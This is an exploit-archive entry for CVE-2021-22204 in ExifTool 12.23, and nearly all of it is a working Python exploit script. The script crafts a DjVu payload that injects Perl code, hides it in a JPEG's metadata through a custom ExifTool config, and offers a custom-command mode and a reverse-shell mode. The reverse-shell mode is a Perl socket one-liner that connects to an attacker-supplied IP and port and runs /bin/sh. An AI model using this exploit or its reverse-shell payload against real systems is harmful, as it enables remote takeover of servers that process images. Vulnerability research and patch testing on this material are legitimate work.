ExifTool 12.23 Arbitrary Code Execution

2022.05.11
Credit: UNICORD
Risk: High
Local: No
Remote: Yes
CWE: N/A

# Exploit Title: ExifTool 12.23 - Arbitrary Code Execution # Date: 04/30/2022 # Exploit Author: UNICORD (NicPWNs & Dev-Yeoj) # Vendor Homepage: https://exiftool.org/ # Software Link: https://github.com/exiftool/exiftool/archive/refs/tags/12.23.zip # Version: 7.44-12.23 # Tested on: ExifTool 12.23 (Debian) # CVE: CVE-2021-22204 # Source: https://github.com/UNICORDev/exploit-CVE-2021-22204 # Description: Improper neutralization of user data in the DjVu file format in ExifTool versions 7.44 and up allows arbitrary code execution when parsing the malicious image #!/usr/bin/env python3 # Imports import base64 import os import subprocess import sys # Class for colors class color: red = '\033[91m' gold = '\033[93m' blue = '\033[36m' green = '\033[92m' no = '\033[0m' # Print UNICORD ASCII Art def UNICORD_ASCII(): print(rf""" {color.red} _ __,~~~{color.gold}/{color.red}_{color.no} {color.blue}__ ___ _______________ ___ ___{color.no} {color.red} ,~~`( )_( )-\| {color.blue}/ / / / |/ / _/ ___/ __ \/ _ \/ _ \{color.no} {color.red} |/| `--. {color.blue}/ /_/ / // // /__/ /_/ / , _/ // /{color.no} {color.green}_V__v___{color.red}!{color.green}_{color.red}!{color.green}__{color.red}!{color.green}_____V____{color.blue}\____/_/|_/___/\___/\____/_/|_/____/{color.green}....{color.no} """) # Print exploit help menu def help(): print(r"""UNICORD Exploit for CVE-2021-22204 Usage: python3 exploit-CVE-2021-22204.py -c <command> python3 exploit-CVE-2021-22204.py -s <local-IP> <local-port> python3 exploit-CVE-2021-22204.py -c <command> [-i <image.jpg>] python3 exploit-CVE-2021-22204.py -s <local-IP> <local-port> [-i <image.jpg>] python3 exploit-CVE-2021-22204.py -h Options: -c Custom command mode. Provide command to execute. -s Reverse shell mode. Provide local IP and port. -i Path to custom JPEG image. (Optional) -h Show this help menu. """) # Run the exploit def exploit(command): UNICORD_ASCII() # Create perl payload payload = "(metadata \"\c${" payload += command payload += "};\")" print(f"{color.red}RUNNING: {color.blue}UNICORD Exploit for CVE-2021-22204{color.no}") print(f"{color.red}PAYLOAD: {color.gold}" + payload + f"{color.no}") # Write payload to file payloadFile = open('payload','w') payloadFile.write(payload) payloadFile.close() # Bzz compress file subprocess.run(['bzz', 'payload', 'payload.bzz']) # Run djvumake subprocess.run(['djvumake', 'exploit.djvu', "INFO=1,1", 'BGjp=/dev/null', 'ANTz=payload.bzz']) if '-i' in sys.argv: imagePath = sys.argv[sys.argv.index('-i') + 1] subprocess.run(['cp',f'{imagePath}','./image.jpg','-n']) else: # Smallest possible JPEG image = b"/9j/4AAQSkZJRgABAQEASABIAAD/2wBDAAMCAgICAgMCAgIDAwMDBAYEBAQEBAgGBgUGCQgKCgkICQkKDA8MCgsOCwkJDRENDg8QEBEQCgwSExIQEw8QEBD/yQALCAABAAEBAREA/8wABgAQEAX/2gAIAQEAAD8A0s8g/9k=" # Write smallest possible JPEG image to file with open("image.jpg", "wb") as img: img.write(base64.decodebytes(image)) # Write exiftool config to file config = (r""" %Image::ExifTool::UserDefined = ( 'Image::ExifTool::Exif::Main' => { 0xc51b => { Name => 'HasselbladExif', Writable => 'string', WriteGroup => 'IFD0', }, }, ); 1; #end """) configFile = open('exiftool.config','w') configFile.write(config) configFile.close() # Exiftool config for output image subprocess.run(['exiftool','-config','exiftool.config','-HasselbladExif<=exploit.djvu','image.jpg','-overwrite_original_in_place','-q']) # Delete leftover files os.remove("payload") os.remove("payload.bzz") os.remove("exploit.djvu") os.remove("exiftool.config") # Print results print(f"{color.red}RUNTIME: {color.green}DONE - Exploit image written to 'image.jpg'{color.no}\n") exit() if __name__ == "__main__": args = ['-h','-c','-s','-i'] if args[0] in sys.argv: help() elif args[1] in sys.argv and not args[2] in sys.argv: exec = sys.argv[sys.argv.index(args[1]) + 1] command = f"system(\'{exec}\')" exploit(command) elif args[2] in sys.argv and not args[1] in sys.argv: localIP = sys.argv[sys.argv.index(args[2]) + 1] localPort = sys.argv[sys.argv.index(args[2]) + 2] command = f"use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in({localPort},inet_aton('{localIP}')))){{open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');}};" exploit(command) else: help()


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